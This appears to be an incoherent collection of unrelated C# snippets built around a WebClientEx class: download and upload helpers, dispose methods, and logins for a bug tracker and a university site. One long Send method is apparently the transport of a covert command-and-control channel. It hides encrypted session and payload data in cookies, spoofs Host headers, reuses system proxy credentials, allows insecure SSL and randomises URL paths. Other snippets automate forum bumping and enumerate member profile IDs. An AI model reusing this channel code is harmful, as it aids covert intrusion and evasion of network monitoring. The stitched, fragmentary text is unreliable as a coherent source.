public static string UploadCollection(string sUrl, out string sErrmsg, NameValueCollection data, int iTimeOut, bool IsErrResponse = false) { string aRet = ""; sErrmsg = null; WebClientEx aClient = new WebClientEx(iTimeOut); try { byte[] byRemoteInfo = aClient.UploadValues(sUrl, "POST", data); aRet = Encoding.UTF8.GetString(byRemoteInfo); } catch (WebException e) { sErrmsg = e.Message; if (IsErrResponse) { if (e.Response != null && e.Response.GetResponseStream().CanRead) { StreamReader myReader = new StreamReader(e.Response.GetResponseStream(), Encoding.GetEncoding("utf-8")); sErrmsg = myReader.ReadToEnd(); myReader.Close(); } } aClient.Dispose(); return(""); } aClient.Dispose(); return(aRet); }
void disposeWebClient(WebClientEx webClient) { webClient.DownloadDataCompleted -= webClient_DownloadFileCompleted; webClient.DownloadProgressChanged -= webClient_DownloadProgressChanged; webClient.Dispose(); webClient = null; }
private void disposeWebClient(WebClientEx webClient) { webClient.DownloadDataCompleted -= webClient_DownloadFileCompleted; webClient.DownloadProgressChanged -= webClient_DownloadProgressChanged; webClient.Dispose(); webClient = null; }
private void MainLoop_Tick(object sender, EventArgs e) { if ((DateTime.Now - current.Value).TotalSeconds > (double)Interval.Value) { client = new WebClientEx(cooks); current = DateTime.Now; LogBox.Text = ""; LogBox.Text = "[" + DateTime.Now.Hour + ":" + DateTime.Now.Minute + ":" + DateTime.Now.Second + "]" + " Trying new bump"; if (!TryFirstConnect()) { return; } System.Threading.Thread.Sleep(300); VerifyCookies(out bool FoundRememberToken); if (!FoundRememberToken) { TryLogin(); VerifyCookies(out FoundRememberToken); } if (FoundRememberToken) { TryBump(); } else { LogBox.Text += "\nCould not login to UnturnedSL.com"; } client.Dispose(); GC.Collect(); } }
/// <summary> /// 下载 /// </summary> /// <param name="eType">类型</param> /// <param name="sUrl">连接</param> /// <param name="sFilePathName">文件名</param> /// <param name="iTimeOut">超时时间</param> /// <returns></returns> private static object Download(DOWNLOAD_TYPE eType, string sUrl, string sFilePathName, int iTimeOut) { object aRet = null; WebClientEx aClient = new WebClientEx(iTimeOut); try { WebRequest myre = WebRequest.Create(sUrl); if (eType == DOWNLOAD_TYPE.FILE) { if (String.IsNullOrWhiteSpace(sFilePathName)) { return(null); } var di = new DirectoryInfo(Path.GetDirectoryName(sFilePathName)); if (!di.Exists) { di.Create(); } aClient.DownloadFile(sUrl, sFilePathName); aRet = 0; } if (eType == DOWNLOAD_TYPE.STIRNG) { aClient.Encoding = System.Text.Encoding.UTF8;//定义对象语言 aRet = aClient.DownloadString(sUrl); } if (eType == DOWNLOAD_TYPE.DATA) { aRet = aClient.DownloadData(sUrl); } } catch { aClient.Dispose(); return(aRet); } aClient.Dispose(); return(aRet); }
private void CleanUpWebClient() { if (_webClient == null) { return; } _webClient.DownloadProgressChanged -= wc_DownloadProgressChanged; _webClient.DownloadFileCompleted -= wc_DownloadFileCompleted; _webClient.Dispose(); _webClient = null; }
void timecheckNumer_Tick(object sender, EventArgs e) { WebClientEx Web = new WebClientEx(); try { timecheckNumer.Enabled = false; if (iCurrentNumber > 499000) { return; } int iNumber = 478680; StreamReader rd = new StreamReader("number.txt"); string t = rd.ReadToEnd(); rd.Close(); rd.Dispose(); if (!int.TryParse(t.Trim(), out iNumber)) { iNumber = 478680; } bool bFound = true; while (bFound) { lblNo.Text = iNumber.ToString(); Web.DoGet("http://ssc.vn/member.php?u=" + iNumber); if (string.IsNullOrEmpty(Web.ResponseText) || Web.ResponseText.Contains("Chủ đề đã bị khóa hoặc xóa")) { bFound = false; //iStep = 1; } else { iNumber += iStep; } } CurrentNumber = iNumber; lblNo.Text = iNumber.ToString(); StreamWriter rw = new StreamWriter("number.txt"); rw.Write(iNumber.ToString()); rw.Close(); rw.Dispose(); } catch { } finally { Web.Dispose(); if (iCurrentNumber < 499000) { timecheckNumer.Enabled = true; } } }
protected virtual void Dispose(bool disposing) { if (!disposedValue) { if (disposing) { // TODO: マネージ状態を破棄します (マネージ オブジェクト)。 _wc?.Dispose(); } // TODO: アンマネージ リソース (アンマネージ オブジェクト) を解放し、下のファイナライザーをオーバーライドします。 // TODO: 大きなフィールドを null に設定します。 disposedValue = true; } }
protected virtual void Dispose(bool disposing) { if (!disposed) { if (disposing) { if (_inTransaction) { Rollback(); } _webClient.QueryString.Clear(); _webClient.QueryString.Add("cmd", "logout"); _webClient.DownloadData(_webDatabaseUri); _webClient.Dispose(); } disposed = true; } }
private void SendData_Completed(object sender, UploadValuesCompletedEventArgs e) { WebClientEx webClient = (sender as WebClientEx); if (webClient == null) // No webClient, nothing to do. { return; } // Convert page data to a string. string result = Encoding.ASCII.GetString(e.Result); if (result.Contains("<div class=\"errpadding\">Your new task has been added.</div>")) { // Submission Successful MessageBox.Show("Submission was successful.\n\nThank you!", "Bug Submitted", MessageBoxButtons.OK, MessageBoxIcon.Information); sendSucceeded = true; } else { // Submission Failed MessageBox.Show("Submission failed.\n\nTry again later.", "Bug Not Submitted", MessageBoxButtons.OK, MessageBoxIcon.Error); sendSucceeded = false; } // Update the UI. if (sendSucceeded) { bxSubmit.Text = "Sent"; } else { bxSubmit.Enabled = true; } // Unhook event handler. webClient.UploadValuesCompleted -= SendData_Completed; webClient.Dispose(); }
void IssueTrackerLogout_Completed(object sender, DownloadStringCompletedEventArgs e) { WebClientEx webClient = (sender as WebClientEx); if (webClient == null) // No webClient, nothing to do. { return; } if (e.Result.Equals("Logged Out")) { // Logout Successful MessageBox.Show("Logged Out!"); isLoggedIn = false; // Reset all permissions. canViewTasks = false; canCreateTasks = false; canSetPriority = false; canAttachFiles = false; // Clear set cookies. cookieContainer = new CookieContainer(); } else { // WTF MessageBox.Show("Connection Error?"); } // Update the UI. // Unhook event handler. webClient.DownloadStringCompleted -= IssueTrackerLogout_Completed; webClient.Dispose(); }
void IssueTrackerLogin_Completed(object sender, UploadValuesCompletedEventArgs e) { WebClientEx webClient = (sender as WebClientEx); if (webClient == null) // No webClient, nothing to do. { return; } // Convert page data to a string. string result = Encoding.ASCII.GetString(e.Result); // Determine login status. if (result.StartsWith("Success")) { // Login Successful MessageBox.Show("Success!"); isLoggedIn = true; // Determine which permissions are granted. PermissionParser(result); // Save returned cookies. cookieContainer = webClient.Cookies; } else { switch (result) { case "Failure": // Login Failed MessageBox.Show("Failure!"); isLoggedIn = false; break; case "Bad Username": // Check Username MessageBox.Show("Bad Username!"); isLoggedIn = false; break; case "Go Away": // Username & Password Missing MessageBox.Show("This shouldn't happen!"); isLoggedIn = false; break; default: // Connection Error? MessageBox.Show("Connection Error?"); isLoggedIn = false; break; } } // Update the UI. // Unhook event handler. webClient.UploadValuesCompleted -= IssueTrackerLogin_Completed; webClient.Dispose(); }
public List <byte> Send(IExitableTarget target, String status, List <byte> payload, out bool commandChannelDead) { String sessionPayload = target.TargetId; commandChannelDead = false; if (String.IsNullOrWhiteSpace(status)) { status = "nochange"; } var sessionAndStatus = sessionPayload + ":" + status; var encryptedSessionPayload = _encryption.Encrypt(UTF8Encoding.UTF8.GetBytes(sessionAndStatus).ToList()); var cookies = new CookieContainer(); WebClientEx wc = null; if (!String.IsNullOrWhiteSpace(_config.HostHeader)) { wc = new WebClientEx(cookies, _config.HostHeader, _config.InsecureSSL) { UserAgent = _config.UserAgent } } ; else { wc = new WebClientEx(cookies, _config.InsecureSSL) { UserAgent = _config.UserAgent } }; if (_config.UseProxy) { if (null == _config.WebProxy) { wc.Proxy = HttpWebRequest.GetSystemWebProxy(); wc.Proxy.Credentials = CredentialCache.DefaultCredentials; } else { wc.Proxy = _config.WebProxy; } } wc.Headers.Add("Host", _config.HostHeader); cookies.Add(new Cookie($"{_config.SessionCookieName}", $"{encryptedSessionPayload}") { Domain = (!String.IsNullOrWhiteSpace(_config.HostHeader)) ? _config.HostHeader.Split(':')[0] : _config.URL.Host }); string encPayload = null; if (null != payload && payload.Count > 0) { try { encPayload = _encryption.Encrypt(payload); if (String.IsNullOrWhiteSpace(encPayload)) { _error.LogError("Encrypted payload was null, it shouldn't be"); if (!InitialConnectionSucceded.HasValue) { InitialConnectionSucceded = false; } wc.Dispose(); return(null); } } catch (Exception ex) { _error.LogError(ex.Message); wc.Dispose(); return(null); } } bool retryRequired = false; Int32 retryInterval = 2000; UInt16 retryCount = 0; Guid errorId = Guid.NewGuid(); do { try { String response = null; if (encPayload != null && encPayload.Count() > 4096) { response = wc.UploadString(BuildServerURI(), encPayload); } else { if (null != _config.HostHeader) { if (wc.Headers.AllKeys.Contains("Host")) { if (wc.Headers["Host"] != _config.HostHeader) { wc.Headers["Host"] = _config.HostHeader; } } else { wc.Headers.Add("Host", _config.HostHeader); } } if (payload != null && payload.Count() > 0) { cookies.Add(new Cookie($"{_config.PayloadCookieName}", $"{encPayload}") { Domain = (!String.IsNullOrWhiteSpace(_config.HostHeader)) ? _config.HostHeader.Split(':')[0] : _config.URL.Host }); } response = wc.DownloadString(BuildServerURI()); } if (!InitialConnectionSucceded.HasValue) { InitialConnectionSucceded = true; } if (null != response && response.Count() > 0) { wc.Dispose(); return(_encryption.Decrypt(response)); } else { wc.Dispose(); return(new List <byte>()); } } catch (System.Net.WebException ex) { var lst = new List <String>(); if (WebExceptionAnalyzer.IsTransient(ex)) { if (15 > retryCount++) { _error.LogError($"Error has occured and looks like it's transient going to retry in {retryInterval} milliseconds: {ex.Message}"); retryRequired = true; if (retryInterval++ > 2) { retryInterval += retryInterval; } Timeout.WaitOne(retryInterval); } else { _error.FailError($"Kept trying but afraid error isn't going away {retryInterval} {ex.Message} {ex.Status.ToString()} {_config.CommandServerUI.ToString()} {errorId.ToString()}"); commandChannelDead = true; wc.Dispose(); return(null); } } else if (sessionPayload == _config.CommandChannelSessionId) { if (!RetryUntilFailure(ref retryCount, ref retryRequired, ref retryInterval)) { lst.Add("Command channel re-tried connection 5 times giving up"); ReportErrorWebException(ex, lst, errorId); commandChannelDead = true; wc.Dispose(); return(null); } retryRequired = true; } else { ReportErrorWebException(ex, lst, errorId); if (HttpStatusCode.NotFound == ((HttpWebResponse)ex.Response).StatusCode) { if (_error.VerboseErrors) { _error.LogError(String.Format($"Connection on server has been killed")); } } else { _error.LogError(String.Format($"Send to {_config.URL} failed with {ex.Message}")); } wc.Dispose(); return(null); } } } while (retryRequired && !target.Exit); if (!InitialConnectionSucceded.HasValue) { commandChannelDead = true; InitialConnectionSucceded = false; } wc.Dispose(); return(null); } bool RetryUntilFailure(ref UInt16 retryCount, ref bool retryRequired, ref Int32 retryInterval) { if (5 <= retryCount++) { return(retryRequired = false); } _error.LogError($"Command Channel failed to connect : retry interval {retryInterval} ms"); Timeout.WaitOne(retryInterval); retryInterval += retryInterval; return(true); } Uri BuildServerURI(String payload = null) { if (null != _config.Tamper) { return(new Uri(_config.Tamper.TamperUri(_config.CommandServerUI, payload))); } if (_config.URLPaths.Count() == 0) { return(new Uri(_config.URL, "Upload")); } else { var path = _config.URLPaths[_urlRandomizer.Next(0, _config.URLPaths.Count())]; return(new Uri(_config.URL, path)); } } void ReportErrorWebException(System.Net.WebException ex, List <String> lst, Guid errorId) { lst.Add(ex.Message); lst.Add(ex.Status.ToString()); lst.Add(_config.CommandServerUI.ToString()); lst.Add(errorId.ToString()); _error.LogError(lst); } }
private void login_button_Click(object sender, EventArgs e) { if (SessionName != null) { // Already logged in return; } var wc = new WebClientEx(); wc.Headers.Add("user-agent", UserAgent); var url = new Uri("https://dpm.mini.pw.edu.pl/?destination="); var post = new NameValueCollection { { "name", username_box.Text }, { "pass", password_box.Text }, { "form_id", "user_login_block" } }; // Execute wc.UploadValuesTaskAsync(url, post) .ContinueWith(task => { var cookies = wc.CookieContainer.GetCookies(url).Cast <Cookie>(); // Gather cookie data foreach (var cookie in cookies) { if (cookie.Name.StartsWith("SESS", StringComparison.Ordinal)) { SessionName = cookie.Name; SessionCookie = cookie; } } if (SessionName != null) { // Success Invoke((MethodInvoker) delegate { login_panel.Visible = false; info_panel.Visible = true; username_ro_box.Text = username_box.Text; cookie_ro_box.Text = SessionName; }); } else { // Fail Invoke((MethodInvoker) delegate { var res = MessageBox.Show("Logowanie nie powiodło się\r\nSprawdź czy podany login i hasło są poprawne", "Błąd", MessageBoxButtons.RetryCancel, MessageBoxIcon.Error); if (res == DialogResult.Retry) { login_button.PerformClick(); } }); } wc.Dispose(); }); }